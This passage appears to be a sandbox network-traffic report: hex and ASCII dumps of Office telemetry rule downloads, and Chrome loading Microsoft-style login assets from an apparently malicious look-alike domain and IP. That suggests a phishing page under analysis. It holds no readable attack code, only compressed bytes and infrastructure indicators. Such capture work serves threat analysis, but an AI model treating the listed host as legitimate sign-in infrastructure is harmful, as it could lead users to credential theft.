2024-12-04 15:15:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49754	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151529Z-1746fd949bd77mkmhC1EWR5efc00000001gg00000000q7gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49755	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151529Z-1746fd949bdxk6n6hC1EWRdr8c00000001a0000000002qu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49756	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151529Z-1746fd949bdmv56chC1EWRypnn00000001mg0000000047bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49757	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:29 UTC	688	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:30 UTC	796	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:29 GMT Content-Type: text/css Content-Length: 20400 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 25 Sep 2024 21:42:27 GMT etag: 0x8DCDDAAF34D1A25 x-ms-request-id: d3e93f06-c01e-0016-79db-443581000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151529Z-16c5c9558c6dnn9xhC1DUSk86w00000005zg000000002nyk x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:30 UTC	15588	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2024-12-04 15:15:30 UTC	4812	IN	Data Raw: 75 4c ff b4 b4 67 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 Data Ascii: uLgx++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49759	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:29 UTC	664	OUT	GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:30 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:30 GMT Content-Type: application/x-javascript Content-Length: 98504 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 02 Oct 2024 20:05:25 GMT etag: 0x8DCE31D8E339582 x-ms-request-id: 6bc915b3-501e-0075-29d0-4497d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151530Z-15b54885d96pp57jhC1FRAe3c0000000054000000000qh28 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:30 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 77 e3 36 b2 38 f8 ff 7e 0a 99 33 eb 90 31 ad d6 d3 0f 3a 8c af 2c ab bb 35 b1 2d 8f 65 27 99 eb f6 f8 50 24 24 33 96 49 5d 92 f2 63 24 fd 3e fb 56 15 00 12 a4 28 77 77 66 ce 9e bb 67 f3 b0 08 a0 f0 2a 14 0a 55 40 a1 f0 e1 c7 ad ff ab f2 63 65 f7 db ff a9 0c af 3b 57 d7 95 c1 c7 ca f5 e7 fe d5 69 e5 12 42 ff a8 5c 0c ae fb dd de b7 97 83 95 e2 ff d7 0f 7e 5c 19 fb 53 56 81 df 91 13 33 af 12 06 95 30 aa f8 81 1b 46 b3 30 72 12 16 57 9e e0 6f e4 3b d3 ca 38 0a 9f 2a c9 03 ab cc a2 f0 0f e6 26 71 65 ea c7 09 64 1a b1 69 f8 52 d1 a1 b8 c8 ab 5c 3a 51 f2 56 e9 5f 1a 55 28 9f 41 69 fe c4 0f 20 b7 1b ce de e0 fb 21 a9 04 61 e2 bb ac e2 04 1e 95 36 85 40 10 b3 ca 3c f0 58 54 79 79 f0 dd 87 ca b9 ef 46 61 1c 8e 93 4a c4 5c e6 Data Ascii: {w68~31:,5-e'P$$3I]c$>V(wwfgU@ce;WiB\~\SV30F0rWo;8&qediR\:QV_U(Ai !a6@<XTyyFaJ\
2024-12-04 15:15:30 UTC	14460	IN	Data Raw: 8b d6 61 c4 1d 33 34 e8 a1 01 7a 6a 85 32 e1 56 15 fe 05 d5 1d 37 8e ab ea 38 e2 eb 3f b9 08 9b 07 f1 53 51 49 c8 e9 3f 08 34 25 24 a8 4e e8 c5 3c 66 6b 07 61 d6 56 7d 25 9e 9c d2 c3 ea 28 a5 1a 50 f7 41 54 c9 a8 08 d6 7a 80 c0 98 1c 29 2d 97 ac aa d2 92 61 a0 f0 85 ef 25 af 81 9a a1 f2 48 27 49 90 bc 0e 35 3b c0 cc 4b 29 0e e0 ca 49 91 e7 a0 e2 ce 41 fb b6 b7 9e 97 cb ad 07 7a cc a3 82 ca 0b ee d3 17 eb 25 1d e9 67 bb b6 5c aa 49 d8 cb f2 14 d1 d3 00 94 43 9f 05 de f4 4d 9c 33 1b c6 c6 a2 05 36 d7 ba eb e9 e3 f4 6d 89 ea 87 45 6d 55 fd 63 36 41 37 58 65 e5 00 3d cc 49 5a 7b 9b 66 cf 76 eb 5a 06 8a 22 9c c6 df 46 8b 9f 9c e9 74 73 35 bb 94 fe 7e 65 44 7e e5 f8 28 74 47 12 c8 74 ad 37 b3 a0 50 41 5a 0a 16 2f 69 63 0d b9 90 52 c0 ad bd 86 6d 75 4c 83 ea 3c Data Ascii: a34zj2V78?SQI?4%$N<fkaV}%(PATz)-a%H'I5;K)IAz%g\ICM36mEmUc6A7Xe=IZ{fvZ"Fts5~eD~(tGt7PAZ/icRmuL<
2024-12-04 15:15:31 UTC	16384	IN	Data Raw: df fa e1 02 ed 4e 36 72 11 85 b2 98 8b c8 b7 0d a1 ea 6e 73 43 76 36 57 f1 23 03 57 e3 5d b5 df 9b 52 4e ab 92 2e 39 c0 bd e7 9c 33 27 52 2c e2 0f 77 15 c1 29 2f d7 26 d8 d2 31 3a fc 3b 5f 94 26 ec 78 f7 7a 09 48 89 f9 be 8f cc 81 ce c2 3f 0b 6f 6a 04 3d 4e 96 e1 fc c0 77 0e 6b 70 25 8f e9 d9 e1 23 75 b9 f0 6b c8 0d 93 a5 5f 23 c6 00 7f cb c9 fc 73 53 f6 90 1f ab 57 f8 d2 7e 35 99 5c 84 f3 2f ba 85 0f eb 52 bd 50 3e 1e 7a eb 6c 72 e1 8b 36 7d 72 29 ed 12 23 2a ed 9c 55 9d ad 57 69 f8 40 5f 3d 90 8a e4 39 5e a6 f7 10 72 b3 9e 5c 6e fd 0f e1 57 8f 79 32 7f e5 ee 6f a2 a1 83 0d c7 ef 8a b7 f0 4a 98 4d e8 bf 3d e0 31 9b 5f 5c 9a 1d 0a b5 2e db c5 73 5e 10 58 4f f0 e6 a5 5d 31 df 5f 74 0d f7 d3 a2 b5 ca 0f 60 e2 b4 6f 99 5d 35 85 eb a8 6d 86 6c bf 58 ec da 1e Data Ascii: N6rnsCv6W#W]RN.93'R,w)/&1:;_&xzH?oj=Nwkp%#uk_#sSW~5\/RP>zlr6}r)#*UWi@_=9^r\nWy2oJM=1_\.s^XO]1_t`o]5mlX
2024-12-04 15:15:31 UTC	16384	IN	Data Raw: d7 c9 44 ed 9b b0 1f a8 28 24 77 19 6a 8c 07 34 62 76 30 69 e9 50 f2 d9 e7 93 06 ba 81 5b 69 00 1a 0c 60 82 06 6c 30 f8 49 5f 4c be dc aa d6 58 04 a8 0d 91 a8 f5 19 0d f1 5f ce 44 2c 9b 7c 6e df 12 09 6e 42 82 6a 9e 96 88 97 74 a6 3b b2 6d 6b b2 c0 fd 25 a6 48 05 02 9a 72 f3 fd c5 d4 aa 06 4d 9f 29 27 2d 79 07 b1 27 e6 ed 50 45 12 a6 8d 26 73 ec 70 7a a7 76 af 18 14 d3 16 b2 54 ec e5 ae e6 59 3a 4a f9 68 8a 70 71 4b 51 69 ee 36 f1 86 ac 99 9e 36 d3 27 d8 83 dd 96 e4 1c 01 d5 1b 60 a9 70 d7 a0 0d 40 d8 e5 6c 04 22 86 bb 0e 56 00 17 ff c2 9a 0e 33 d9 93 2f ed bb 93 52 f8 a3 82 ce ea e0 8f c4 ac 7f 3c 97 63 93 57 3f cc 43 c1 72 c9 19 0f d9 9f 22 c1 72 6f 2b 71 db 4a d8 9c c4 8e e5 a4 f0 97 cb 49 e6 ff 91 30 41 36 68 20 c5 b6 6e cd ae af da 23 ea af e6 e3 8e Data Ascii: D($wj4bv0iP[i`l0I_LX_D,\|nnBjt;mk%HrM)'-y'PE&spzvTY:JhpqKQi66'`p@l"V3/R<cW?Cr"ro+qJI0A6h n#
2024-12-04 15:15:31 UTC	16384	IN	Data Raw: b8 4a e3 c3 e1 f1 9e 2e 2a fe 53 36 52 6a 82 07 72 b0 b5 3e d9 ba 64 f0 67 ff b2 09 58 0a 3a d6 cf 5e bb 0f 0d 68 2a 82 d9 bc ae 48 a5 fe f5 ae b4 0d 4f 77 c9 a7 95 7a 1e bb ab 31 ae 9a 25 00 d9 24 23 a4 f6 17 0e 1e 8f 57 1f a2 e8 3a 98 a8 6c ec e7 e4 df c4 f5 c7 11 d7 c2 bb f1 c2 db 55 1b 65 fd 5c be db 33 2e a4 82 fa 96 4f a3 99 d5 ec e2 62 d2 d8 98 42 66 0f 02 f6 ed 97 25 d4 88 28 bf 78 35 9b 5c 23 1a 41 57 7b 87 7b 01 ff 26 e0 7f 13 f0 0e 92 ff 2c 04 fc 04 8d e1 62 6c e1 ef c7 d7 ab cb 8a 56 0f 20 c6 4d 83 27 60 b7 5f 7e 19 aa fc f7 cc 9d be 2e f4 e1 b3 b5 2a f4 bf 27 e8 4b 2d ad c8 96 cb 4d 85 c7 d6 82 dd fe 47 88 81 45 ec f0 44 87 1e ff 2d 0f fe 64 da f2 9e d1 fd df 49 f9 af e0 cf 3f 92 ee 43 e1 df ec ec b0 49 4d 77 26 f5 67 8f 1b 37 af ae 97 f3 b1 Data Ascii: J.S6Rjr>dgX:^hHOwz1%$#W:lUe\3.ObBf%(x5\#AW{{&,blV M'`_~.*'K-MGED-dI?CIMw&g7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49758	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:29 UTC	684	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:30 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:29 GMT Content-Type: application/x-javascript Content-Length: 10932 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 27 Aug 2024 00:48:37 GMT etag: 0x8DCC631FC6EAF1F x-ms-request-id: 51222851-f01e-000e-45d0-44d54b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151529Z-15b54885d96nhnjlhC1FRAhha8000000060g00000000qqef x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:30 UTC	10932	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 7d db 72 e3 38 b2 e0 af 68 38 1b dd f6 36 ed d6 d5 96 59 ad e9 a5 25 d9 d6 94 2c a9 25 b9 dc 1d 35 bd 0a 5a 84 64 8e 29 52 c3 4b b9 34 9e 8a 98 f7 7d dd 97 fd bd f3 25 9b 17 80 04 75 71 b9 7a 36 62 eb c1 45 02 89 04 90 c8 4c 64 26 12 d4 9f 16 69 30 4f bc 30 38 12 c7 2f ea b9 14 1e 25 c7 2f de e2 28 f8 98 fc 7e 1c 89 24 8d 82 12 3e 9f 8a cf eb 30 4a e2 77 9f 9c a8 e4 b5 b0 a8 f5 22 cb ac 97 2f a6 e7 5a 89 e9 87 8e 2b 5c eb 4f 95 2f ef 64 53 81 4d e7 8e ef 1f 79 0a 83 e9 99 f9 73 78 0c 2f dc ac f5 a7 72 5e f1 05 bb 09 5a 2f 19 a2 f0 74 d5 12 66 78 3a 6f 05 f0 77 dd 32 0c 33 3c 2a 1f 7f 39 fa 98 4f c3 0c cd e0 f8 25 38 aa 1e d3 28 93 56 70 54 01 fc f0 5f fd d8 8c e0 bf c6 b1 e9 b4 bc d3 6e 14 85 51 47 c4 73 33 56 6f 53 2f f1 Data Ascii: }r8h86Y%,%5Zd)RK4}%uqz6bELd&i0O08/%/(~$>0Jw"/Z+\O/dSMysx/r^Z/tfx:ow23<*9O%8(VpT_nQGs3VoS/

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49760	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151531Z-1746fd949bdxk6n6hC1EWRdr8c000000016000000000gh46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49761	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:31 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
